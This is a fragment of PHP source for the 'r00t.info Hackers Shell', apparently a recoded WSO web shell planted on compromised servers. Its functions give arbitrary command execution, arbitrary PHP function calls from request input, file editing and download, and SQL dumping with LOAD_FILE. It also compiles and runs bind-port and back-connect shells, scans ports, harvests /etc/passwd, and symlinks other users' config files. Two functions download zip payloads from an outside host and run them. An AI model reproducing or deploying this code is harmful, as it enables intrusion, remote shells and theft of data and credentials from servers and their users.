"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms'] .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
$l = $l?0:1;
} echo '<tr><td colspan=5>
<input type=hidden name=a value=\'FilesMan\'>
<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
<input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
<select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>';
if(!empty($_SESSION['act'])&&@count($_SESSION['f'])){echo '<option value=\'paste\'>Paste</option>';
} echo '</select>
<input type="submit" value=">>"></td><td colspan="2" align="right" width="1"><input name="def" value="r00t.info shell" disabled="disabled"/>
<input type="submit" value="Add Deface Here" disabled="disabled"></td></tr>
</form></table></div>';
printFooter();
} function actionStringTools() { if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));
}} if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';
for($i=0;
$i<strLen($p);
$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));
}return $r;
}} if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';
for($i=0;
$i<strlen($p);
++$i)$r.= dechex(ord($p[$i]));
return strtoupper($r);
}} if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';
for($i=0;
$i<strlen($p);
++$i)$r.= '%'.dechex(ord($p[$i]));
return strtoupper($r);
}} if(isset($_POST['ajax'])) { $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
ob_start();
if(function_exists($_POST['p1'])) echo $_POST['p1']($_POST['p2']);
$temp = "document.getElementById('strOutput').style.display='';
document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"
\'")."';
";
echo strlen($temp), "
", $temp;
exit;
} printHeader();
echo '<h1>String conversions</h1><div class=content>';
$stringTools = array( 'Base64 encode' => 'base64_encode', 'Base64 decode' => 'base64_decode', 'Url encode' => 'urlencode', 'Url decode' => 'urldecode', 'Full urlencode' => 'full_urlencode', 'md5 hash' => 'md5', 'sha1 hash' => 'sha1', 'crypt' => 'crypt', 'CRC32' => 'crc32', 'ASCII to HEX' => 'ascii2hex', 'HEX to ASCII' => 'hex2ascii', 'HEX to DEC' => 'hexdec', 'HEX to BIN' => 'hex2bin', 'DEC to HEX' => 'dechex', 'DEC to BIN' => 'decbin', 'BIN to HEX' => 'bin2hex', 'BIN to DEC' => 'bindec', 'String to lower case' => 'strtolower', 'String to upper case' => 'strtoupper', 'Htmlspecialchars' => 'htmlspecialchars', 'String length' => 'strlen', );
if(empty($_POST['ajax'])&&!empty($_POST['p1'])) $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);
}else{g(null,null,this.selectTool.value,this.input.value);
} return false;
'><select name='selectTool'>";
foreach($stringTools as $k => $v) echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".htmlspecialchars(@$_POST['p2'])."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;
':'')."margin-top:5px' id='strOutput'>";
if(!empty($_POST['p1'])) { if(function_exists($_POST['p1'])) echo htmlspecialchars($_POST['p1']($_POST['p2']));
} echo"</pre></div>";
printFooter();
} function actionFilesTools() { if( isset($_POST['p1']) ) $_POST['p1'] = urldecode($_POST['p1']);
if(@$_POST['p2']=='download') { if(is_file($_POST['p1']) && is_readable($_POST['p1'])) { ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment;
filename=".basename($_POST['p1']));
if (function_exists("mime_content_type")) { $type = @mime_content_type($_POST['p1']);
header("Content-Type: ".$type);
} $fp = @fopen($_POST['p1'], "r");
if($fp) { while(!@feof($fp)) echo @fread($fp, 1024);
fclose($fp);
} } elseif(is_dir($_POST['p1']) && is_readable($_POST['p1'])) { } exit;
} if( @$_POST['p2'] == 'mkfile' ) { if(!file_exists($_POST['p1'])) { $fp = @fopen($_POST['p1'], 'w');
if($fp) { $_POST['p2'] = "edit";
fclose($fp);
} } } printHeader();
echo '<h1>File tools</h1><div class=content>';
if( !file_exists(@$_POST['p1']) ) { echo 'File not exists';
printFooter();
return;
} $uid = @posix_getpwuid(@fileowner($_POST['p1']));
$gid = @posix_getgrgid(@fileowner($_POST['p1']));
echo '<span>Name:</span> '.htmlspecialchars($_POST['p1']).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
if( empty($_POST['p2']) ) $_POST['p2'] = 'view';
if( is_file($_POST['p1']) ) $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
else $m = array('Chmod', 'Rename', 'Touch');
foreach($m as $v) echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
echo '<br><br>';
switch($_POST['p2']) { case 'view': echo '<pre class=ml1>';
$fp = @fopen($_POST['p1'], 'r');
if($fp) { while( !@feof($fp) ) echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
} echo '</pre>';
break;
case 'highlight': if( is_readable($_POST['p1']) ) { echo '<div class=ml1 style="background-color: #e1e1e1;
color:black;
">';
$code = highlight_file($_POST['p1'],true);
echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
} break;
case 'chmod': if( !empty($_POST['p3']) ) { $perms = 0;
for($i=strlen($_POST['p3'])-1;
$i>=0;
--$i) $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
if(!@chmod($_POST['p1'], $perms)) echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";
</script>';
else die('<script>g(null,null,null,null,"")</script>');
} echo '<form onsubmit="g(null,null,null,null,this.chmod.value);
return false;
"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
break;
case 'edit': if( !is_writable($_POST['p1'])) { echo 'File isn\'t writeable';
break;
} if( !empty($_POST['p3']) ) { @file_put_contents($_POST['p1'],$_POST['p3']);
echo 'Saved!<br><script>document.mf.p3.value="";
</script>';
} echo '<form onsubmit="g(null,null,null,null,this.text.value);
return false;
"><textarea name=text class=bigarea>';
$fp = @fopen($_POST['p1'], 'r');
if($fp) { while( !@feof($fp) ) echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
} echo '</textarea><input type=submit value=">>"></form>';
break;
case 'hexdump': $c = @file_get_contents($_POST['p1']);
$n = 0;
$h = array('00000000<br>','','');
$len = strlen($c);
for ($i=0;
$i<$len;
++$i) { $h[1] .= sprintf('%02X',ord($c[$i])).' ';
switch ( ord($c[$i]) ) { case 0: $h[2] .= ' ';
break;
case 9: $h[2] .= ' ';
break;
case 10: $h[2] .= ' ';
break;
case 13: $h[2] .= ' ';
break;
default: $h[2] .= $c[$i];
break;
} $n++;
if ($n == 32) { $n = 0;
if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';
} $h[1] .= '<br>';
$h[2] .= "
";
} } echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;
"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
break;
case 'rename': if( !empty($_POST['p3']) ) { if(!@rename($_POST['p1'], $_POST['p3'])) echo 'Can\'t rename!<br><script>document.mf.p3.value="";
</script>';
else die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
} echo '<form onsubmit="g(null,null,null,null,this.name.value);
return false;
"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
break;
case 'touch': if( !empty($_POST['p3']) ) { $time = strtotime($_POST['p3']);
if($time) { if(@touch($_POST['p1'],$time,$time)) die('<script>g(null,null,null,null,"")</script>');
else { echo 'Fail!<script>document.mf.p3.value="";
</script>';
} } else echo 'Bad time format!<script>document.mf.p3.value="";
</script>';
} echo '<form onsubmit="g(null,null,null,null,this.touch.value);
return false;
"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
break;
case 'mkfile': break;
} echo '</div>';
printFooter();
} function actionBypass() { printHeader();
if(!file_exists('cpanel/cpanel.php')){ $dizin = 'https://byr00t.co/vb/cpanel.zip';
function dosya_indir($link,$name=null) { $link_info = pathinfo($link);
$uzanti = strtolower($link_info['extension']);
$file = ($name) ? $name.'.'.$uzanti : $link_info['basename'];
$curl = curl_init($link);
$fopen = fopen($file,'w');
curl_setopt($curl, CURLOPT_HEADER,0);
curl_setopt($curl, CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl, CURLOPT_HTTP_VERSION,CURL_HTTP_VERSION_1_0);
curl_setopt($curl, CURLOPT_FILE, $fopen);
curl_exec($curl);
curl_close($curl);
fclose($fopen);
} dosya_indir($dizin, "cpanel");
$zip = new ZipArchive();
$file = 'cpanel.zip';
$zip->open($file);
$cikar = $zip->extractTo('cpanel/');
if(file_exists('cpanel.zip')){ @unlink('cpanel.zip');
} if($cikar){ echo "<iframe src=cpanel/cpanel.php width=100% height=100% frameborder=0></iframe> ";
} else{ echo '<div class="alert alert-danger"><strong>Hata!</strong> Dosya indirilirken kritik bir hata olutu.</div>';
} } elseif(file_exists('cpanel/cpanel.php')){ echo "<iframe src=cpanel/cpanel.php width=100% height=100% frameborder=0></iframe> ";
} printFooter();
} function actionConsole() { if(isset($_POST['ajax'])) { $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
ob_start();
echo "document.cf.cmd.value='';
";
$temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
$ ".$_POST['p1']."
".ex($_POST['p1']),"
\'"));
if(preg_match("!.*cd\s+([^;
]+)$!",$_POST['p1'],$match)) { if(@chdir($match[1])) { $GLOBALS['cwd'] = @getcwd();
echo "document.mf.c.value='".$GLOBALS['cwd']."';
";
} } echo "document.cf.output.value+='".$temp."';
";
echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;
";
$temp = ob_get_clean();
echo strlen($temp), "
", $temp;
exit;
} printHeader();
echo '<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array("");
var cur = 0;
function kp(e) {
var n = (window.Event) ? e.which : e.keyCode;
if(n == 38) {
cur--;
if(cur>=0)
document.cf.cmd.value = cmds[cur];
else
cur++;
} else if(n == 40) {
cur++;
if(cur < cmds.length)
document.cf.cmd.value = cmds[cur];
else
cur--;
}
}
function add(cmd) {
cmds.pop();
cmds.push(cmd);
cmds.push("");
cur = cmds.length-1;
}
</script>';
echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';
document.cf.cmd.value=\'\';
return false;
}add(this.cmd.value);
if(this.ajax.checked){a(null,null,this.cmd.value);
}else{g(null,null,this.cmd.value);
} return false;
"><select name=alias>';
foreach($GLOBALS['aliases'] as $n => $v) { if($v == '') { echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
continue;
} echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
} if(empty($_POST['ajax'])&&!empty($_POST['p1'])) $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
echo '</select><input type=button onclick="add(document.cf.alias.value);
if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);
}else{g(null,null,document.cf.alias.value);
}" value=">>"> <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;
" readonly>';
if(!empty($_POST['p1'])) { echo htmlspecialchars("$ ".$_POST['p1']."
".ex($_POST['p1']));
} echo '</textarea><input type=text name=cmd style="border-top:0;
width:100%;
" onkeydown="kp(event);
">';
echo '</form></div><script>document.cf.cmd.focus();
</script>';
printFooter();
} function actionLogout() { unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
echo '
<!--r00t.info Hackers Shell-->
<!--Recoded by: Smurfie-->
<script>alert("Logout Successful")</script>
<body bgcolor=#ffffff><center><img src="http://r00t.info/shell-dosyalar/logo.png"></center>
<H1><center><p style="color: #DF0101" >r00t.info Hackers Shell</p></H1>
<center>
<iframe src="http://www.facebook.com/plugins/likebox.php?
href=https://www.facebook.com/r00t.info&
width=260&
colorsche
me=light&
show_faces=true&
border_color=
%23fff&
stream=false&
header=false&
height=100" scrolling="no"
frameborder="0" style="background:transparent;
border:none;
overflow:hidden;
width:200px;
height:100px;
" allowtransparency="true"></iframe></center>
<H3><marquee scrollamount="5" scrolldelay="50" width="100%"><p style="color: #DF0101" >Wso shell</p></marquee></H3></body>';
} function actionSelfRemove() { printHeader();
if($_POST['p1'] == 'yes') { if(@unlink(SELF_PATH)) die('Shell has been removed');
else echo 'unlink error!';
} echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
printFooter();
} function actionCgi() { printHeader();
if(!file_exists('cgi/rot.cin')){ $dizin = 'https://byr00t.co/vb/cgi.zip';
function dosya_indir($link,$name=null) { $link_info = pathinfo($link);
$uzanti = strtolower($link_info['extension']);
$file = ($name) ? $name.'.'.$uzanti : $link_info['basename'];
$curl = curl_init($link);
$fopen = fopen($file,'w');
curl_setopt($curl, CURLOPT_HEADER,0);
curl_setopt($curl, CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl, CURLOPT_HTTP_VERSION,CURL_HTTP_VERSION_1_0);
curl_setopt($curl, CURLOPT_FILE, $fopen);
curl_exec($curl);
curl_close($curl);
fclose($fopen);
} dosya_indir($dizin, "cgi");
$zip = new ZipArchive();
$file = 'cgi.zip';
$zip->open($file);
$cikar = $zip->extractTo('cgi/');
if(file_exists('cgi.zip')){ @unlink('cgi.zip');
} if($cikar){ chmod('cgi/rot.cin', 0755);
echo "<iframe src=cgi/rot.cin width=100% height=100% frameborder=0></iframe> ";
} else{ echo '<div class="alert alert-danger"><strong>Hata!</strong> Dosya indirilirken kritik bir hata olutu.</div>';
} } elseif(file_exists('cgi/rot.cin')){ echo "<iframe src=cgi/rot.cin width=100% height=100% frameborder=0></iframe> ";
} printFooter();
} function actionSql() { class DbClass { var $type;
var $link;
var $res;
function DbClass($type) { $this->type = $type;
} function connect($host, $user, $pass, $dbname){ switch($this->type) { case 'mysql': if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
break;
case 'pgsql': $host = explode(':', $host);
if(!$host[1]) $host[1]=5432;
if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
break;
} return false;
} function selectdb($db) { switch($this->type) { case 'mysql': if (@mysql_select_db($db))return true;
break;
} return false;
} function query($str) { switch($this->type) { case 'mysql': return $this->res = @mysql_query($str);
break;
case 'pgsql': return $this->res = @pg_query($this->link,$str);
break;
} return false;
} function fetch() { $res = func_num_args()?func_get_arg(0):$this->res;
switch($this->type) { case 'mysql': return @mysql_fetch_assoc($res);
break;
case 'pgsql': return @pg_fetch_assoc($res);
break;
} return false;
} function listDbs() { switch($this->type) { case 'mysql': return $this->res = @mysql_list_dbs($this->link);
break;
case 'pgsql': return $this->res = $this->query("SELECT datname FROM pg_database");
break;
} return false;
} function listTables() { switch($this->type) { case 'mysql': return $this->res = $this->query('SHOW TABLES');
break;
case 'pgsql': return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_user'");
break;
} return false;
} function error() { switch($this->type) { case 'mysql': return @mysql_error($this->link);
break;
case 'pgsql': return @pg_last_error($this->link);
break;
} return false;
} function setCharset($str) { switch($this->type) { case 'mysql': if(function_exists('mysql_set_charset')) return @mysql_set_charset($str, $this->link);
else $this->query('SET CHARSET '.$str);
break;
case 'mysql': return @pg_set_client_encoding($this->link, $str);
break;
} return false;
} function dump($table) { switch($this->type) { case 'mysql': $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
$create = mysql_fetch_array($res);
echo $create[1].";
";
$this->query('SELECT * FROM `'.$table.'`');
while($item = $this->fetch()) { $columns = array();
foreach($item as $k=>$v) { $item[$k] = "'".@mysql_real_escape_string($v)."'";
$columns[] = "`".$k."`";
} echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');
'."
";
} break;
case 'pgsql': $this->query('SELECT * FROM '.$table);
while($item = $this->fetch()) { $columns = array();
foreach($item as $k=>$v) { $item[$k] = "'".addslashes($v)."'";
$columns[] = $k;
} echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');
'."
";
} break;
} return false;
} };
$db = new DbClass(@$_POST['type']);
if(@$_POST['p2']=='download') { ob_start("ob_gzhandler", 4096);
$db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
$db->selectdb($_POST['sql_base']);
header("Content-Disposition: attachment;
filename=dump.sql");
header("Content-Type: text/plain");
foreach($_POST['tbl'] as $v) $db->dump($v);
exit;
} printHeader();
echo '<h1>Sql browser</h1><div class=content>
<form name="sf" method="post">
<table cellpadding="2" cellspacing="0">
<tr>
<td>Type</td>
<td>Host</td>
<td>Login</td>
<td>Password</td>
<td>Database</td>
<td></td>
</tr>
<tr>
<input type=hidden name=a value=Sql>
<input type=hidden name=p1 value=\'query\'>
<input type=hidden name=p2>
<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
<input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
<td>
<select name=\'type\'>
<option value="mysql" '.(@$_POST['type']=='mysql'?'selected':'').'>MySql</option>
<option value="pgsql" '.(@$_POST['type']=='pgsql'?'selected':'').'>PostgreSql</option>
</select></td>
<td><input type=text name=sql_host value="'.(empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])).'"></td>
<td><input type=text name=sql_login value="'.(empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])).'"></td>
<td><input type=text name=sql_pass value="'.(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])).'"></td>
<td>';
$tmp = "<input type=text name=sql_base value=''>";
if(isset($_POST['sql_host'])){ if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) { switch($_POST['charset']) { case "Windows-1251": $db->setCharset('cp1251');
break;
case "UTF-8": $db->setCharset('utf8');
break;
case "KOI8-R": $db->setCharset('koi8r');
break;
case "KOI8-U": $db->setCharset('koi8u');
break;
case "cp866": $db->setCharset('cp866');
break;
} $db->listDbs();
echo "<select name=sql_base><option value=''></option>";
while($item = $db->fetch()) { list($key, $value) = each($item);
echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
} echo '</select>';
} else echo $tmp;
}else echo $tmp;
echo '</td>
<td><input type=submit value=">>"></td>
</tr>
</table>
<script>
function st(t,l) {
document.sf.p1.value = \'select\';
document.sf.p2.value = t;
if(l!=null)document.sf.p3.value = l;
document.sf.submit();
}
function is() {
for(i=0;
i<document.sf.elements[\'tbl[]\'].length;
++i)
document.sf.elements[\'tbl[]\'][i].checked = !document.sf.elements[\'tbl[]\'][i].checked;
}
</script>';
if(isset($db) && $db->link){ echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
if(!empty($_POST['sql_base'])){ $db->selectdb($_POST['sql_base']);
echo "<tr><td width=1 style='border-top:2px solid #666;
border-right:2px solid #666;
'><span>Tables:</span><br><br>";
$tbls_res = $db->listTables();
while($item = $db->fetch($tbls_res)) { list($key, $value) = each($item);
$n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
$value = htmlspecialchars($value);
echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>
<a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
} echo "<input type='checkbox' onclick='is();
'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";
document.sf.submit();
'></td><td style='border-top:2px solid #666;
'>";
if(@$_POST['p1'] == 'select') { $_POST['p1'] = 'query';
$db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
$num = $db->fetch();
$num = $num['n'];
echo "<span>".$_POST['p2']."</span> ($num) ";
for($i=0;
$i<($num/30);
$i++) if($i != (int)$_POST['p3']) echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
else echo ($i+1)," ";
if($_POST['type']=='pgsql') $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
else $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
echo "<br><br>";
} if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) { $db->query(@$_POST['p3']);
if($db->res !== false) { $title = false;
echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
$line = 1;
while($item = $db->fetch()) { if(!$title) { echo '<tr>';
foreach($item as $key => $value) echo '<th>'.$key.'</th>';
reset($item);
$title=true;
echo '</tr><tr>';
$line = 2;
} echo '<tr class="l'.$line.'">';
$line = $line==1?2:1;
foreach($item as $key => $value) { if($value == null) echo '<td><i>null</i></td>';
else echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
} echo '</tr>';
} echo '</table>';
} else { echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
} } echo "<br><textarea name='p3' style='width:100%;
height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
echo "</td></tr>";
} echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";
document.sf.p2.value=this.f.value;
document.sf.submit();
return false;
'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
if(@$_POST['p1'] == 'loadfile') { $db->query("SELECT LOAD_FILE('".addslashes($_POST['p2'])."') as file");
$file = $db->fetch();
echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
} } echo '</div>';
printFooter();
} function actionNetwork() { printHeader();
$back_connect_c="";
$back_connect_p="";
$bind_port_c="";
$bind_port_p="";
echo '<h1>Network tools</h1><div class=content>
<form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);
return false;
">
<br /><span>Bind port to /bin/sh</span><br/>
Port: <input type=\'text\' name=\'port\' value=\'443\'> Password: <input type=\'text\' name=\'pass\' value=\'smurf\'> Using: <select name="using"><option value=\'bpc\'>C</option><option value=\'bpp\'>Perl</option></select> <input type=submit value=">>">
</form>
<form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);
return false;
">
<br /><br /><span>Back-connect to</span><br/>
Server: <input type=\'text\' name=\'server\' value="'.$_SERVER['REMOTE_ADDR'].'"> Port: <input type=\'text\' name=\'port\' value=\'443\'> Using: <select name="using"><option value=\'bcc\'>C</option><option value=\'bcp\'>Perl</option></select> <input type=submit value=">>">
</form><br>';
if(isset($_POST['p1'])) { function cf($f,$t) { $w=@fopen($f,"w") or @function_exists('file_put_contents');
if($w) { @fwrite($w,base64_decode($t)) or @fputs($w,base64_decode($t)) or @file_put_contents($f,base64_decode($t));
@fclose($w);
} } if($_POST['p1'] == 'bpc') { cf("/tmp/bp.c",$bind_port_c);
$out = ex("gcc -o /tmp/bp /tmp/bp.c");
@unlink("/tmp/bp.c");
$out .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
echo "<pre class=ml1>$out
".ex("ps aux | grep bp")."</pre>";
} if($_POST['p1'] == 'bpp') { cf("/tmp/bp.pl",$bind_port_p);
$out = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
echo "<pre class=ml1>$out
".ex("ps aux | grep bp.pl")."</pre>";
} if($_POST['p1'] == 'bcc') { cf("/tmp/bc.c",$back_connect_c);
$out = ex("gcc -o /tmp/bc /tmp/bc.c");
@unlink("/tmp/bc.c");
$out .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
echo "<pre class=ml1>$out
".ex("ps aux | grep bc")."</pre>";
} if($_POST['p1'] == 'bcp') { cf("/tmp/bc.pl",$back_connect_p);
$out = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
echo "<pre class=ml1>$out
".ex("ps aux | grep bc.pl")."</pre>";
} } echo '</div>';
printFooter();
} function actionPortScanner() { printHeader();
echo '<h1>Port Scanner</h1>';
echo '<div class="content">';
echo '<form action="" method="post">';
if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){ $start = strip_tags($_POST['start']);
$end = strip_tags($_POST['end']);
$host = strip_tags($_POST['host']);
for($i = $start;
$i<=$end;
$i++){ $fp = @fsockopen($host, $i, $errno, $errstr, 3);
if($fp){ echo 'Port '.$i.' is <font color=green>open</font><br>';
} flush();
} } else { echo '<br /><br /><center><input type="hidden" name="a" value="PortScanner"><input type="hidden" name=p1><input type="hidden" name="p2">
<input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
<input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
Host: <input type="text" name="host" value="localhost"/><br /><br />
Port start: <input type="text" name="start" value="0"/><br /><br />
Port end:<input type="text" name="end" value="5000"/><br /><br />
<input type="submit" value="Scan Ports" />
</form></center><br /><br />';
} echo '</div>';
printFooter();
} function actionReadable() { printHeader();
echo '<h1>Readable Dirs</h1>';
echo '<div class="content">';
$sm = ini_get('safe_mode');
if($sm) { echo '<br /><b>Error: safe_mode = on</b><br /><br />';
} else { @$passwd = fopen('/etc/passwd','r');
if (!$passwd) { echo '<br /><b>[-] Error : coudn`t read /etc/passwd</b><br /><br />';
} else { $pub = array();
$users = array();
$conf = array();
$i = 0;
while(!feof($passwd)) { $str = fgets($passwd);
if ($i > 35) { $pos = strpos($str,':');
$username = substr($str,0,$pos);
$dirz = '/home/'.$username.'/public_html/';
if (($username != '')) { if (is_readable($dirz)) { array_push($users,$username);
array_push($pub,$dirz);
} } } $i++;
} echo '<br><br>';
echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd
"."<br />";
echo "[+] Founded ".sizeof($pub)." readable public_html directories
"."<br /><br /><br />";
foreach ($users as $user) { $path = "/home/$user/public_html/";
echo $path."<br>";
} echo "<br /><br /><br />[+] Complete...
"."<br />";
} } echo '</div>';
printFooter();
} function actionSymlink() { printHeader();
echo '<h1>Symlink</h1>';
$furl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
$expld = explode('/',$furl );
$burl =str_replace(end($expld),'',$furl);
echo '<div class="content"><center>
<h3>[ <a href="#" onclick="g(\'symlink\',null,\'website\',null)">Domains</a> ] -
[ <a href="#" onclick="g(\'symlink\',null,\'whole\',null)">Whole Server Symlink</a> ] -
[ <a href="#" onclick="g(\'symlink\',null,\'config\',null)">Config files symlink</a> ]</h3></center>';
if(isset($_POST['p1']) && $_POST['p1']=='website') { echo "<center>";
$d0mains = @file("/etc/named.conf");
if(!$d0mains){ echo "<pre class=ml1 style='margin-top:5px'>Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
} else { echo "<table align=center class='main' border=0 ><tr><th> Count </th><th> Domains </th><th> Users </th></tr>";
$unk = array();
foreach($d0mains as $d0main){ if(@eregi("zone",$d0main)){ preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2){ $unk[] = $domains[1][0];
flush();
} } } $count=1;
$unk = array_unique($unk);
$l=0;
foreach($unk as $d){ $user = posix_getpwuid(@fileowner("/etc/valiases/".$d));
echo "<tr".($l?' class=l1':'')."><td>".$count."</td><td><a href=http://".$d."/>".$d."</a></td><td>".$user['name']."</td></tr>";
flush();
$count++;
$l=$l?0:1;
} echo "</table>";
} echo "</center>";
} if(isset($_POST['p1']) && $_POST['p1']=='whole') { echo "<center>";
@mkdir('sym',0777);
$hdt = "Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any";
$hfp =@fopen ('sym/.htaccess','w');
fwrite($hfp ,$hdt);
